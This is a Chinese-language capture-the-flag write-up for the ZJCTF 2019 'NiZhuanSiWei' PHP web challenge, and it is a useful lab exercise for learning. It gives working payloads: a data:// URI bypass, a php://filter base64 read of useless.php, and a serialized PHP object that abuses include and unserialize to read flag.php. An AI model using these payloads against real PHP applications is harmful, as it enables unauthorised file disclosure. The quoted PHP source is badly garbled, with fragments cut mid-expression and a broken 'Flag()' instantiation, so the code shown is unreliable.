ZJCTF 2019-WEB-NiZhuanSiWei

复现地址https://buuoj.cn/challenges#[ZJCTF%202019]NiZhuanSiWei

参考 https://www.cnblogs.com/keelongz/p/12615220.html

 

".file_get_contents($text,'r')."


"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>

isset — 检测变量是否已设置并且非 NULL
file_get_contents — 将整个文件读入一个字符串

通过data协议绕过第一个if

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
ZJCTF 2019-WEB-NiZhuanSiWei_第1张图片
image.png

通过php://读取到uselist.php文件内容

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY&file=php://filter/read=convert.base64-encode/resource=useless.php

base64解密

file)){  
            echo file_get_contents($this->file); 
            echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
初始化对象
file)){  
            echo file_get_contents($this->file); 
            echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $a = Flag() echo serialize($a) ?>

序列化对象后赋值,查看源码得到flag

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 

你可能感兴趣的:(ZJCTF 2019-WEB-NiZhuanSiWei)